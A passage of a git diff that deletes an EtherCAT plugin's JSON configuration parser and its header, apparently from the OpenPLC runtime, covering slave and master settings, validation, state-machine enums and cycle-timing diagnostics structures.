parse_pdo_array(cJSON_GetObjectItemCaseSensitive(slave_json, "rx_pdos"), - slave->rx_pdos, &slave->rx_pdo_count); - parse_pdo_array(cJSON_GetObjectItemCaseSensitive(slave_json, "tx_pdos"), - slave->tx_pdos, &slave->tx_pdo_count); - - /* Parse per-slave configuration (defaults applied if "config" is absent) */ - slave->startup_checks.check_vendor_id = true; - slave->startup_checks.check_product_code = true; - slave->addressing.ethercat_address = 0; - slave->timeouts.sdo_timeout_ms = 1000; - slave->timeouts.init_to_preop_timeout_ms = 3000; - slave->timeouts.safeop_to_op_timeout_ms = 10000; - slave->watchdog.sm_watchdog_enabled = true; - slave->watchdog.sm_watchdog_ms = 100; - slave->watchdog.pdi_watchdog_enabled = false; - slave->watchdog.pdi_watchdog_ms = 100; - slave->dc.enabled = false; - slave->dc.sync_unit_cycle_us = 0; - slave->dc.sync0_enabled = false; - slave->dc.sync0_cycle_us = 0; - slave->dc.sync0_shift_us = 0; - slave->dc.sync1_enabled = false; - slave->dc.sync1_cycle_us = 0; - slave->dc.sync1_shift_us = 0; - slave->strict_sdo = true; - - const cJSON *cfg = cJSON_GetObjectItemCaseSensitive(slave_json, "config"); - if (cfg != NULL && cJSON_IsObject(cfg)) { - slave->strict_sdo = get_bool(cfg, "strict_sdo", true); - - /* Startup checks */ - const cJSON *sc = cJSON_GetObjectItemCaseSensitive(cfg, "startup_checks"); - if (sc != NULL && cJSON_IsObject(sc)) { - slave->startup_checks.check_vendor_id = get_bool(sc, "check_vendor_id", true); - slave->startup_checks.check_product_code = get_bool(sc, "check_product_code", true); - } - - /* Addressing */ - const cJSON *addr = cJSON_GetObjectItemCaseSensitive(cfg, "addressing"); - if (addr != NULL && cJSON_IsObject(addr)) { - slave->addressing.ethercat_address = (uint16_t)get_int(addr, "ethercat_address", 0); - } - - /* Timeouts (negative values fall back to defaults) */ - const cJSON *to = cJSON_GetObjectItemCaseSensitive(cfg, "timeouts"); - if (to != NULL && cJSON_IsObject(to)) { - int val; - val = get_int(to, "sdo_timeout_ms", 1000); - if (val > 0) slave->timeouts.sdo_timeout_ms = val; - val = get_int(to, "init_to_preop_timeout_ms", 3000); - if (val > 0) slave->timeouts.init_to_preop_timeout_ms = val; - val = get_int(to, "safeop_to_op_timeout_ms", 10000); - if (val > 0) slave->timeouts.safeop_to_op_timeout_ms = val; - } - - /* Watchdog (negative ms values fall back to defaults) */ - const cJSON *wd = cJSON_GetObjectItemCaseSensitive(cfg, "watchdog"); - if (wd != NULL && cJSON_IsObject(wd)) { - int val; - slave->watchdog.sm_watchdog_enabled = get_bool(wd, "sm_watchdog_enabled", true); - val = get_int(wd, "sm_watchdog_ms", 100); - if (val > 0) slave->watchdog.sm_watchdog_ms = val; - slave->watchdog.pdi_watchdog_enabled = get_bool(wd, "pdi_watchdog_enabled", false); - val = get_int(wd, "pdi_watchdog_ms", 100); - if (val > 0) slave->watchdog.pdi_watchdog_ms = val; - } - - /* Distributed Clocks */ - const cJSON *dc = cJSON_GetObjectItemCaseSensitive(cfg, "distributed_clocks"); - if (dc != NULL && cJSON_IsObject(dc)) { - slave->dc.enabled = get_bool(dc, "enabled", false); - slave->dc.sync_unit_cycle_us = get_int(dc, "sync_unit_cycle_us", 0); - slave->dc.sync0_enabled = get_bool(dc, "sync0_enabled", false); - slave->dc.sync0_cycle_us = get_int(dc, "sync0_cycle_us", 0); - slave->dc.sync0_shift_us = get_int(dc, "sync0_shift_us", 0); - slave->dc.sync1_enabled = get_bool(dc, "sync1_enabled", false); - slave->dc.sync1_cycle_us = get_int(dc, "sync1_cycle_us", 0); - slave->dc.sync1_shift_us = get_int(dc, "sync1_shift_us", 0); - } - } - - return ECAT_CONFIG_OK; -} - -/** - * @brief Parse the slaves array from JSON - */ -static int parse_slaves_section(const cJSON *slaves, ecat_config_t *config) -{ - config->slave_count = 0; - - if (slaves == NULL || !cJSON_IsArray(slaves)) { - return ECAT_CONFIG_OK; - } - - const cJSON *slave_json; - cJSON_ArrayForEach(slave_json, slaves) { - if (config->slave_count >= ECAT_MAX_SLAVES) { - plugin_logger_error(g_config_logger, - "slaves array exceeds ECAT_MAX_SLAVES=%d -- " - "extra entries ignored", ECAT_MAX_SLAVES); - break; - } - int prc = parse_slave(slave_json, &config->slaves[config->slave_count]); - if (prc != ECAT_CONFIG_OK) { - /* parse_slave already logged the specific reason; propagate. */ - return prc; - } - config->slave_count++; - } - - return ECAT_CONFIG_OK; -} - -/* - * ============================================================================= - * Public API - * ============================================================================= - */ - -void ecat_config_init_defaults(ecat_config_t *config) -{ - if (config == NULL) { - return; - } - - memset(config, 0, sizeof(ecat_config_t)); - - /* Master defaults */ - safe_strcpy(config->master.interface, "eth0", sizeof(config->master.interface)); - config->master.cycle_time_us = 1000; - config->master.receive_timeout_us = 2000; - config->master.watchdog_timeout_cycles = 3; - safe_strcpy(config->master.log_level, "info", sizeof(config->master.log_level)); - config->master.task_priority = 90; - config->master.safe_close = true; - - /* Diagnostics defaults */ - config->diagnostics.log_connections = true; - config->diagnostics.log_data_access = false; - config->diagnostics.log_errors = true; - config->diagnostics.max_log_entries = 10000; - config->diagnostics.status_update_interval_ms = 500; -} - -int ecat_config_parse(const char *config_path, ecat_config_t *config) -{ - if (config_path == NULL || config == NULL) { - return ECAT_CONFIG_ERR_INVALID; - } - - /* Initialize with defaults */ - ecat_config_init_defaults(config); - - /* Read file contents */ - char *json_str = read_file(config_path); - if (json_str == NULL) { - return ECAT_CONFIG_ERR_FILE; - } - - /* Parse JSON */ - cJSON *root = cJSON_Parse(json_str); - free(json_str); - - if (root == NULL) { - return ECAT_CONFIG_ERR_PARSE; - } - - /* - * The JSON has array root format: [{ name, protocol, config }] - * Extract the "config" object from the first element. - */ - const cJSON *config_obj = NULL; - - if (cJSON_IsArray(root)) { - const cJSON *first_entry = cJSON_GetArrayItem(root, 0); - if (first_entry != NULL) { - config_obj = cJSON_GetObjectItemCaseSensitive(first_entry, "config"); - } - } else if (cJSON_IsObject(root)) { - /* Also support a bare config object for flexibility */ - config_obj = cJSON_GetObjectItemCaseSensitive(root, "config"); - if (config_obj == NULL) { - /* The root itself might be the config */ - config_obj = root; - } - } - - if (config_obj == NULL) { - cJSON_Delete(root); - return ECAT_CONFIG_ERR_PARSE; - } - - /* Parse each section */ - parse_master_section(cJSON_GetObjectItemCaseSensitive(config_obj, "master"), &config->master); - int srs = parse_slaves_section(cJSON_GetObjectItemCaseSensitive(config_obj, "slaves"), config); - if (srs != ECAT_CONFIG_OK) { - cJSON_Delete(root); - return srs; - } - parse_diagnostics_section(cJSON_GetObjectItemCaseSensitive(config_obj, "diagnostics"), &config->diagnostics); - - cJSON_Delete(root); - - /* Validate the parsed configuration */ - return ecat_config_validate(config); -} - -int ecat_config_parse_all(const char *config_path, - ecat_master_instance_t *instances, - int max_masters, - int *out_count) -{ - if (config_path == NULL || instances == NULL || out_count == NULL || max_masters < 1) { - return ECAT_CONFIG_ERR_INVALID; - } - - *out_count = 0; - - /* Read file contents */ - char *json_str = read_file(config_path); - if (json_str == NULL) { - return ECAT_CONFIG_ERR_FILE; - } - - /* Parse JSON */ - cJSON *root = cJSON_Parse(json_str); - free(json_str); - - if (root == NULL) { - return ECAT_CONFIG_ERR_PARSE; - } - - if (!cJSON_IsArray(root)) { - /* Fall back to single-entry parse for bare config objects */ - ecat_config_init_defaults(&instances[0].config); - const cJSON *config_obj = cJSON_GetObjectItemCaseSensitive(root, "config"); - if (config_obj == NULL) { - config_obj = root; - } - const char *name = get_string(root, "name", "master"); - safe_strcpy(instances[0].name, name, sizeof(instances[0].name)); - parse_master_section(cJSON_GetObjectItemCaseSensitive(config_obj, "master"), - &instances[0].config.master); - int srs = parse_slaves_section(cJSON_GetObjectItemCaseSensitive(config_obj, "slaves"), - &instances[0].config); - if (srs != ECAT_CONFIG_OK) { - cJSON_Delete(root); - return srs; - } - parse_diagnostics_section(cJSON_GetObjectItemCaseSensitive(config_obj, "diagnostics"), - &instances[0].config.diagnostics); - cJSON_Delete(root); - int result = ecat_config_validate(&instances[0].config); - if (result == ECAT_CONFIG_OK) { - *out_count = 1; - } - return result; - } - - /* Iterate all entries in the array. Loop runs to the end (not stops - * at max_masters) so we can warn about entries that exceed the cap. */ - int count = 0; - int array_size = cJSON_GetArraySize(root); - - for (int i = 0; i < array_size; i++) { - const cJSON *entry = cJSON_GetArrayItem(root, i); - if (entry == NULL) continue; - - /* Check protocol is ETHERCAT (case-insensitive) */ - const char *protocol = get_string(entry, "protocol", ""); - if (strcasecmp_local(protocol, "ETHERCAT") != 0) continue; - - const cJSON *config_obj = cJSON_GetObjectItemCaseSensitive(entry, "config"); - if (config_obj == NULL) continue; - - const char *name = get_string(entry, "name", "master"); - - /* Refuse to parse beyond max_masters but make the rejection - * visible -- the editor lets the operator add an arbitrary - * number of entries; silent truncation here surprises users. */ - if (count >= max_masters) { - plugin_logger_error(g_config_logger, - "skipping entry[%d] '%s' -- max_masters=%d reached. " - "Increase ECAT_MAX_MASTERS or remove extra ETHERCAT entries.", - i, name, max_masters); - continue; - } - - /* Initialize this instance's config with defaults */ - ecat_config_init_defaults(&instances[count].config); - - /* Extract master name */ - safe_strcpy(instances[count].name, name, sizeof(instances[count].name)); - - /* Parse configuration sections. A SDO/slave-level error aborts - * the whole config -- a partially loaded master would surprise - * the operator at bus-up time. */ - parse_master_section(cJSON_GetObjectItemCaseSensitive(config_obj, "master"), - &instances[count].config.master); - int srs = parse_slaves_section(cJSON_GetObjectItemCaseSensitive(config_obj, "slaves"), - &instances[count].config); - if (srs != ECAT_CONFIG_OK) { - plugin_logger_error(g_config_logger, - "entry[%d] '%s': slaves section failed (rc=%d) -- aborting parse", - i, name, srs); - cJSON_Delete(root); - *out_count = 0; - return srs; - } - parse_diagnostics_section(cJSON_GetObjectItemCaseSensitive(config_obj, "diagnostics"), - &instances[count].config.diagnostics); - - /* Validate this master's config */ - int result = ecat_config_validate(&instances[count].config); - if (result == ECAT_CONFIG_OK) { - count++; - } else { - plugin_logger_error(g_config_logger, - "skipping entry[%d] '%s' (validation failed, error=%d)", - i, name, result); - } - } - - cJSON_Delete(root); - - /* Refuse configs where two masters share the same network interface. - * Per-iface NIC tuning state in ethercat_iface_state.c is - * single-owner; two masters on the same iface produce corrupted - * persistence on crash recovery. */ - for (int i = 0; i < count; i++) { - for (int j = i + 1; j < count; j++) { - if (strcmp(instances[i].config.master.interface, - instances[j].config.master.interface) == 0) { - plugin_logger_error(g_config_logger, - "masters '%s' and '%s' share interface '%s' -- " - "not supported. Use a distinct interface per master.", - instances[i].name, instances[j].name, - instances[i].config.master.interface); - *out_count = 0; - return ECAT_CONFIG_ERR_INVALID; - } - } - } - - *out_count = count; - - return (count > 0) ? ECAT_CONFIG_OK : ECAT_CONFIG_ERR_MISSING; -} - -int ecat_config_validate(const ecat_config_t *config) -{ - if (config == NULL) { - return ECAT_CONFIG_ERR_INVALID; - } - - /* Validate master interface is not empty */ - if (config->master.interface[0] == '\0') { - return ECAT_CONFIG_ERR_INVALID; - } - - /* Validate cycle time */ - if (config->master.cycle_time_us < 1) { - return ECAT_CONFIG_ERR_INVALID; - } - - /* Validate receive timeout */ - if (config->master.receive_timeout_us < 1) { - return ECAT_CONFIG_ERR_INVALID; - } - - /* Validate slave positions are positive and unique */ - for (int i = 0; i < config->slave_count; i++) { - const ecat_slave_t *slave = &config->slaves[i]; - - if (slave->position < 1) { - return ECAT_CONFIG_ERR_INVALID; - } - - if (slave->vendor_id == 0) { - return ECAT_CONFIG_ERR_INVALID; - } - - if (slave->product_code == 0) { - return ECAT_CONFIG_ERR_INVALID; - } - - /* Check for duplicate positions */ - for (int j = i + 1; j < config->slave_count; j++) { - if (slave->position == config->slaves[j].position) { - return ECAT_CONFIG_ERR_INVALID; - } - } - - /* Validate channels have IEC location */ - for (int c = 0; c < slave->channel_count; c++) { - const ecat_channel_t *ch = &slave->channels[c]; - if (ch->iec_location[0] != '\0' && ch->iec_location[0] != '%') { - return ECAT_CONFIG_ERR_INVALID; - } - } - } - - return ECAT_CONFIG_OK; -} - -/* - * ============================================================================= - * State Machine and Data Type Helpers - * ============================================================================= - */ - -const char *ecat_state_to_string(ecat_plugin_state_t state) -{ - switch (state) { - case ECAT_STATE_IDLE: return "IDLE"; - case ECAT_STATE_SCANNING: return "SCANNING"; - case ECAT_STATE_CONFIGURING: return "CONFIGURING"; - case ECAT_STATE_TRANSITIONING: return "TRANSITIONING"; - case ECAT_STATE_OPERATIONAL: return "OPERATIONAL"; - case ECAT_STATE_RECOVERING: return "RECOVERING"; - case ECAT_STATE_ERROR: return "ERROR"; - case ECAT_STATE_STOPPED: return "STOPPED"; - } - return "UNKNOWN"; -} - -int ecat_data_type_size(ecat_data_type_t dt) -{ - switch (dt) { - case ECAT_DTYPE_BOOL: return 1; - case ECAT_DTYPE_INT8: return 1; - case ECAT_DTYPE_UINT8: return 1; - case ECAT_DTYPE_INT16: return 2; - case ECAT_DTYPE_UINT16: return 2; - case ECAT_DTYPE_INT32: return 4; - case ECAT_DTYPE_UINT32: return 4; - case ECAT_DTYPE_INT64: return 8; - case ECAT_DTYPE_UINT64: return 8; - case ECAT_DTYPE_REAL32: return 4; - case ECAT_DTYPE_REAL64: return 8; - case ECAT_DTYPE_UNKNOWN: return 0; - case ECAT_DTYPE_PAD: return 0; - } - return 0; -} - -const char *ecat_data_type_to_string(ecat_data_type_t dt) -{ - switch (dt) { - case ECAT_DTYPE_UNKNOWN: return "UNKNOWN"; - case ECAT_DTYPE_BOOL: return "BOOL"; - case ECAT_DTYPE_INT8: return "INT8"; - case ECAT_DTYPE_UINT8: return "UINT8"; - case ECAT_DTYPE_INT16: return "INT16"; - case ECAT_DTYPE_UINT16: return "UINT16"; - case ECAT_DTYPE_INT32: return "INT32"; - case ECAT_DTYPE_UINT32: return "UINT32"; - case ECAT_DTYPE_INT64: return "INT64"; - case ECAT_DTYPE_UINT64: return "UINT64"; - case ECAT_DTYPE_REAL32: return "REAL32"; - case ECAT_DTYPE_REAL64: return "REAL64"; - case ECAT_DTYPE_PAD: return "PAD"; - } - return "UNKNOWN"; -} diff --git a/core/src/drivers/plugins/native/ethercat/ethercat_config.h b/core/src/drivers/plugins/native/ethercat/ethercat_config.h deleted file mode 100644 index 49e43500..00000000 --- a/core/src/drivers/plugins/native/ethercat/ethercat_config.h +++ /dev/null @@ -1,751 +0,0 @@ -// SPDX-License-Identifier: MIT -// Copyright (c) 2026 Autonomy® - -/** - * @file ethercat_config.h - * @brief EtherCAT Plugin Configuration Structures and Parser Interface - * - * Defines the C structures that mirror the JSON configuration contract - * generated by the OpenPLC Editor. The JSON is parsed using cJSON and - * mapped into these structures for use by the EtherCAT master. - */ - -#ifndef ETHERCAT_CONFIG_H -#define ETHERCAT_CONFIG_H - -#include -#include -#include -#include - -#include "plugin_logger.h" -#include "soem/soem.h" - -/* Maximum sizes */ -#define ECAT_MAX_MASTERS 4 -#define ECAT_MAX_SLAVES 64 -#define ECAT_IOMAP_SIZE 8192 -#define ECAT_MAX_CHANNELS 64 -#define ECAT_MAX_PDO_ENTRIES 32 -#define ECAT_MAX_PDOS 16 -#define ECAT_MAX_SDOS 32 -#define ECAT_MAX_NAME_LEN 64 -#define ECAT_MAX_IEC_LOC_LEN 16 - -/** - * @brief Recognized EtherCAT/CoE data types - * - * Covers integer, floating-point, and padding types found in PDO entries. - * REAL32 and REAL64 are transported through the existing DWORD/LWORD buffers - * (IEEE 754 bit patterns preserved by memcpy). - */ -typedef enum { - ECAT_DTYPE_UNKNOWN, - ECAT_DTYPE_BOOL, - ECAT_DTYPE_INT8, - ECAT_DTYPE_UINT8, - ECAT_DTYPE_INT16, - ECAT_DTYPE_UINT16, - ECAT_DTYPE_INT32, - ECAT_DTYPE_UINT32, - ECAT_DTYPE_INT64, - ECAT_DTYPE_UINT64, - ECAT_DTYPE_REAL32, - ECAT_DTYPE_REAL64, - ECAT_DTYPE_PAD -} ecat_data_type_t; - -/* Error codes */ -#define ECAT_CONFIG_OK 0 -#define ECAT_CONFIG_ERR_FILE -1 -#define ECAT_CONFIG_ERR_PARSE -2 -#define ECAT_CONFIG_ERR_MEMORY -3 -#define ECAT_CONFIG_ERR_INVALID -4 -#define ECAT_CONFIG_ERR_MISSING -5 - -/** - * @brief PDO entry definition - * - * Represents a single entry within a PDO (Process Data Object). - * Entries with index "0x0000" are padding entries. - */ -typedef struct { - char index[12]; /* hex string e.g. "0x6000" */ - uint8_t subindex; - uint8_t bit_length; - char name[ECAT_MAX_NAME_LEN]; - ecat_data_type_t parsed_type; /* resolved from data_type string in JSON */ -} ecat_pdo_entry_t; - -/** - * @brief PDO (Process Data Object) definition - * - * Contains the PDO index and its list of entries. - * RxPDOs are written to the slave, TxPDOs are read from the slave. - */ -typedef struct { - char index[12]; /* hex string e.g. "0x1A00" */ - char name[ECAT_MAX_NAME_LEN]; - ecat_pdo_entry_t entries[ECAT_MAX_PDO_ENTRIES]; - int entry_count; -} ecat_pdo_t; - -/** - * @brief SDO configuration entry - * - * Defines an SDO (Service Data Object) parameter to be written - * to a slave during configuration phase. - */ -typedef struct { - char index[12]; /* hex string e.g. "0x8000" */ - uint8_t subindex; - double value; /* stored as double; cast to target type at write time */ - ecat_data_type_t parsed_type; /* resolved from data_type string in JSON */ - char name[ECAT_MAX_NAME_LEN]; -} ecat_sdo_config_t; - -/** - * @brief Channel mapping definition - * - * Maps a physical I/O channel to an IEC 61131-3 located variable. - * Links the channel to its corresponding PDO entry. - */ -typedef struct { - int index; - char name[ECAT_MAX_NAME_LEN]; - char type[20]; /* "digital_input", "analog_output", etc. */ - uint8_t bit_length; - char iec_location[ECAT_MAX_IEC_LOC_LEN]; - char pdo_index[12]; - char pdo_entry_index[12]; - uint8_t pdo_entry_subindex; -} ecat_channel_t; - -/** - * @brief Per-slave startup checks - * - * Controls which identity fields are validated against the SOEM slave list - * during topology verification. - */ -typedef struct { - bool check_vendor_id; - bool check_product_code; -} ecat_startup_checks_t; - -/** - * @brief Per-slave addressing - * - * Controls slave addressing on the bus. - */ -typedef struct { - uint16_t ethercat_address; /* 0 = auto-assign */ -} ecat_addressing_t; - -/** - * @brief Per-slave timeouts - * - * Configurable timeouts for SDO operations and state transitions. - */ -typedef struct { - int sdo_timeout_ms; /* SDO operation timeout (default: 1000) */ - int init_to_preop_timeout_ms; /* INIT->PRE-OP timeout (default: 3000) */ - int safeop_to_op_timeout_ms; /* SAFE-OP->OP timeout (default: 10000) */ -} ecat_timeouts_t; - -/** - * @brief Per-slave watchdog configuration - * - * Controls Sync Manager and PDI watchdog behavior per slave. - */ -typedef struct { - bool sm_watchdog_enabled; /* Sync Manager watchdog */ - int sm_watchdog_ms; /* SM watchdog timeout (default: 100) */ - bool pdi_watchdog_enabled; /* PDI watchdog */ - int pdi_watchdog_ms; /* PDI watchdog timeout (default: 100) */ -} ecat_watchdog_t; - -/** - * @brief Per-slave Distributed Clocks configuration - * - * Controls DC SYNC0/SYNC1 signal generation per slave. - */ -typedef struct { - bool enabled; - int sync_unit_cycle_us; /* 0 = use master cycle */ - bool sync0_enabled; - int sync0_cycle_us; - int sync0_shift_us; - bool sync1_enabled; - int sync1_cycle_us; - int sync1_shift_us; -} ecat_dc_config_t; - -/** - * @brief EtherCAT slave configuration - * - * Complete configuration for a single EtherCAT slave device, - * including identity, channel mappings, PDOs, SDOs, and per-slave - * settings for timeouts, watchdogs, and distributed clocks. - */ -typedef struct { - int position; /* ec_slave[position] in SOEM (1-based) */ - char name[ECAT_MAX_NAME_LEN]; - char type[20]; /* "coupler", "digital_input", etc. */ - uint32_t vendor_id; - uint32_t product_code; - uint32_t revision; - ecat_channel_t channels[ECAT_MAX_CHANNELS]; - int channel_count; - ecat_sdo_config_t sdo_configs[ECAT_MAX_SDOS]; - int sdo_count; - ecat_pdo_t rx_pdos[ECAT_MAX_PDOS]; - int rx_pdo_count; - ecat_pdo_t tx_pdos[ECAT_MAX_PDOS]; - int tx_pdo_count; - ecat_startup_checks_t startup_checks; - ecat_addressing_t addressing; - ecat_timeouts_t timeouts; - ecat_watchdog_t watchdog; - ecat_dc_config_t dc; - /* Abort master startup on any SDO write failure (default true). */ - bool strict_sdo; -} ecat_slave_t; - -/** - * @brief Master configuration parameters - */ -/** Maximum interface name length including null terminator. - * Linux names fit in IFNAMSIZ (16), but Windows NPF device paths such as - * \\Device\\NPF_{GUID} can reach ~55 characters. */ -#define ECAT_IFNAME_MAX 128 - -typedef struct { - char interface[ECAT_IFNAME_MAX]; - int cycle_time_us; - int receive_timeout_us; - int watchdog_timeout_cycles; - char log_level[8]; - /** SCHED_FIFO priority for the dedicated bus thread (1-99). - * Defaults to 90 — above typical IEC task priorities so the bus - * exchange isn't starved by a long PLC scan. */ - int task_priority; - /* Zero outputs and confirm INIT transition on stop_loop (default true). */ - bool safe_close; -} ecat_master_config_t; - -/** - * @brief Diagnostics configuration - */ -typedef struct { - bool log_connections; - bool log_data_access; - bool log_errors; - int max_log_entries; - int status_update_interval_ms; -} ecat_diagnostics_config_t; - -/** - * @brief Top-level EtherCAT configuration - * - * Contains the master settings, flat list of slaves, and diagnostics config. - * - * WARNING: This struct is approximately 7 MB due to the inline slave array - * with nested PDOs. It must be allocated statically or on the heap -- never - * on the stack, as it would overflow most thread stacks. - */ -typedef struct { - ecat_master_config_t master; - ecat_slave_t slaves[ECAT_MAX_SLAVES]; - int slave_count; - ecat_diagnostics_config_t diagnostics; -} ecat_config_t; - -/** - * @brief Parse EtherCAT configuration from a JSON file - * - * Reads and parses the JSON configuration file generated by the OpenPLC Editor. - * The JSON has an array root format: [{ name, protocol, config }]. - * The "config" object is extracted and mapped to the ecat_config_t structure. - * - * @param config_path Path to the JSON configuration file - * @param config Output configuration structure - * @return ECAT_CONFIG_OK on success, negative error code on failure - */ -int ecat_config_parse(const char *config_path, ecat_config_t *config); - -/** - * @brief Validate a parsed configuration - * - * Checks required fields, value ranges, and IEC location format. - * - * @param config Configuration to validate - * @return ECAT_CONFIG_OK on success, negative error code on failure - */ -int ecat_config_validate(const ecat_config_t *config); - -/** - * @brief Provide a logger for the config parser to use for diagnostic messages. - * - * Optional — when not set, the parser falls back to stderr. Idempotent. - * The pointer must remain valid for the lifetime of any subsequent - * ecat_config_parse* call (typically the lifetime of the plugin). - */ -void ecat_config_set_logger(plugin_logger_t *logger); - -/** - * @brief Validation mode for interface names. - * - * Different callers need different rules: NIC tuning paths must receive - * Linux-only names safe for /proc and external binaries (ethtool); the - * scan and test commands accept any name the underlying socket layer - * accepts, including Windows NPF device paths like "\Device\NPF_{GUID}". - */ -typedef enum { - ECAT_IFACE_LINUX_STRICT, /* alfanum + '_' '-', starts alpha, len 1..15 */ - ECAT_IFACE_ANY_PLATFORM /* Linux + Windows NPF chars '\' '{' '}' '.' */ -} ecat_iface_validate_mode_t; - -/** - * @brief Validate an interface name against the requested mode. - * - * @param iface NUL-terminated interface name (may be NULL — returns false). - * @param mode ECAT_IFACE_LINUX_STRICT or ECAT_IFACE_ANY_PLATFORM. - * @return true if @p iface is a valid identifier under @p mode, false otherwise. - */ -bool ecat_iface_validate(const char *iface, ecat_iface_validate_mode_t mode); - -/** - * @brief Check whether an interface name is a safe Linux iface identifier. - * - * Thin wrapper kept for backward compatibility — equivalent to - * ecat_iface_validate(iface, ECAT_IFACE_LINUX_STRICT). Prefer the - * explicit form in new code. - * - * @return true if safe, false otherwise. - */ -bool ecat_is_valid_iface_name(const char *iface); - -/** - * @brief Initialize configuration with default values - * - * @param config Configuration structure to initialize - */ -void ecat_config_init_defaults(ecat_config_t *config); - -/** - * @brief Parse a data type string into the corresponding enum value - * - * Recognizes standard CoE/EtherCAT type names and common aliases: - * "BOOL", "INT8"/"SINT", "UINT8"/"USINT", "INT16"/"INT", - * "UINT16"/"UINT", "INT32"/"DINT", "UINT32"/"UDINT", - * "INT64"/"LINT", "UINT64"/"ULINT", - * "REAL"/"REAL32"/"FLOAT", "LREAL"/"REAL64"/"DOUBLE", "PAD" - * - * @param str NUL-terminated data type string (case-insensitive) - * @return Matching ecat_data_type_t, or ECAT_DTYPE_UNKNOWN if unrecognized - */ -ecat_data_type_t ecat_parse_data_type(const char *str); - -/* - * ============================================================================= - * Plugin State Machine - * ============================================================================= - */ - -/** Maximum number of recovery attempts before transitioning to ERROR state */ -#define ECAT_MAX_RECOVERY_ATTEMPTS 5 - -/** Number of consecutive WKC errors before triggering recovery */ -#define ECAT_WKC_ERROR_THRESHOLD 3 - -/** - * Enable the background monitor thread for slave state checking and recovery. - * When enabled, a low-priority thread periodically calls ecx_readstate() and - * attempt_recovery() outside the PLC scan cycle, preventing overruns. - * When disabled, no state monitoring or automatic recovery is performed - * at runtime (the bus runs open-loop after reaching OPERATIONAL). - * - * Define to 0 to disable, 1 to enable. - */ -#ifndef ECAT_ENABLE_MONITOR_THREAD -#define ECAT_ENABLE_MONITOR_THREAD 1 -#endif - -/** Background monitor thread polling interval in milliseconds */ -#define ECAT_MONITOR_INTERVAL_MS 500 - -/** - * @brief EtherCAT plugin state machine states - * - * State transitions: - * STOPPED -> IDLE -> SCANNING -> CONFIGURING -> TRANSITIONING -> OPERATIONAL - * OPERATIONAL <-> RECOVERING - * RECOVERING -> ERROR (after max attempts) - * Any state -> STOPPED (via stop_loop) - */ -typedef enum { - ECAT_STATE_IDLE, /* After init(), before start_loop() */ - ECAT_STATE_SCANNING, /* ecx_init + ecx_config_init */ - ECAT_STATE_CONFIGURING, /* SDO writes + PDO mapping */ - ECAT_STATE_TRANSITIONING, /* Slaves moving to SAFE-OP -> OP */ - ECAT_STATE_OPERATIONAL, /* Normal cyclic operation */ - ECAT_STATE_RECOVERING, /* Attempting to recover slaves */ - ECAT_STATE_ERROR, /* Unrecoverable error */ - ECAT_STATE_STOPPED /* After stop_loop() or before init() */ -} ecat_plugin_state_t; - -/** - * @brief Per-slave status snapshot for monitoring - */ -typedef struct { - int position; - char name[ECAT_MAX_NAME_LEN]; - uint16_t al_state; /* EC_STATE_* from SOEM */ - uint16_t al_status_code; - uint32_t error_count; -} ecat_slave_status_t; - -/* - * ============================================================================= - * Cycle Diagnostics - * ============================================================================= - */ - -/** - * @brief Target wall-clock window for the time-based EWMA averages, in ns. - * - * Matches the editor's polling cadence so the displayed average stays - * stable between consecutive polls and tracks recent drift rather than - * decorrelating into "a random number between min and max". Each master - * derives its sample-count window N at start_single_master from - * `master.cycle_time_us` and stores it on `inst->avg_window`. The IEC - * scan-cycle tracker uses the same scheme; both systems read consistently. - * - * Per-cycle update: sum += sample - sum / N - * Read: avg = sum / N - * - * Stored as a sum (rather than the incremental `avg += (sample - avg)/N` - * shape) because at small deltas the latter rounds to zero and stalls. - */ -#define ECAT_AVG_TARGET_WINDOW_NS 2000000000LL - -/** - * @brief Per-interface NIC tuning state captured by ecat_iface_state_apply(). - * - * Holds the pre-EtherCAT NIC settings (ethtool coalescing + offloads) so - * `ecat_iface_state_revert()` can roll them back on graceful shutdown, - * and so the next runtime start can recover from a crash. Embedded in - * each `ecat_master_instance_t`. See ethercat_iface_state.h for the - * apply/revert API. - */ -typedef struct { - char iface[ECAT_IFNAME_MAX]; - - /* NIC tuning -- ethtool -C (coalescing) */ - bool coalescing_saved; - int rx_usecs; - int tx_usecs; - - /* NIC tuning -- ethtool -K (offloads) */ - bool offloads_saved; - bool gro; - bool gso; - bool tso; -} ecat_iface_state_t; - -/** - * @brief Per-cycle timing diagnostics - * - * Updated lock-free by the dedicated bus thread. Single-writer (bus - * thread), multi-reader (monitor thread, execute_command handlers). - * All fields are _Atomic so the writer never holds a mutex on the hot - * path; readers tolerate cross-field tearing because these are - * diagnostics, not values used in cross-field arithmetic. - * - * Two timing stories are tracked side by side: - * - * - bus_cycle_ns / *_bus_cycle_ns — work timing. Measures the - * EtherCAT bus exchange (ecx_send_processdata + - * ecx_receive_processdata). The IO memcpys around it are - * intentionally not measured (dozens of ns, dwarfed by the - * exchange). Answers "how long does each cycle's work take?". - * - * - period_ns / latency_ns — scheduling timing. period_ns - * is the observed gap between cycle starts (should equal the - * configured cycle on a healthy RT system). latency_ns is the - * wake-up scheduling delay: how late after its absolute deadline - * the bus thread actually started. Captured by the bus thread - * itself, so independent of the monitor's snapshot cadence. - * Answers "are we actually hitting our 1 ms cycle, and how late - * are we waking up?". - * - * The avg_*_ns_sum fields are time-based EWMA accumulators (see - * ECAT_AVG_TARGET_WINDOW_NS) — each holds an approximate sum of the last - * `inst->avg_window` samples. Readers divide by `avg_window` to recover - * the moving average. Window is computed from the configured cycle time - * at master start so the wall-clock smoothing stays consistent across - * different cycle rates. - */ -typedef struct { - _Atomic(uint64_t) cycle_count; /* total cycles executed */ - _Atomic(uint64_t) wkc_error_count; /* total WKC errors (wkc < expected) */ - _Atomic(uint64_t) noframe_count; /* total EC_NOFRAME (-1) errors */ - - /* Work timing -- bus exchange duration */ - _Atomic(uint64_t) bus_cycle_ns; /* last send+receive duration (ns) */ - _Atomic(uint64_t) max_bus_cycle_ns; /* worst-case send+receive */ - _Atomic(uint64_t) min_bus_cycle_ns; /* best-case send+receive */ - _Atomic(int64_t) avg_bus_cycle_ns_sum; /* EWMA accumulator; avg = sum/N */ - - /* Scheduling timing -- period and wake-up latency */ - _Atomic(uint64_t) period_ns; /* last observed cycle period (ns) */ - _Atomic(uint64_t) max_period_ns; /* worst-case period */ - _Atomic(uint64_t) min_period_ns; /* best-case period */ - _Atomic(int64_t) avg_period_ns_sum; /* EWMA accumulator; avg = sum/N */ - _Atomic(int64_t) latency_ns; /* last wake-up scheduling delay */ - _Atomic(int64_t) max_latency_ns; /* worst-case wake-up delay */ - _Atomic(int64_t) min_latency_ns; /* best-case wake-up delay */ - _Atomic(int64_t) 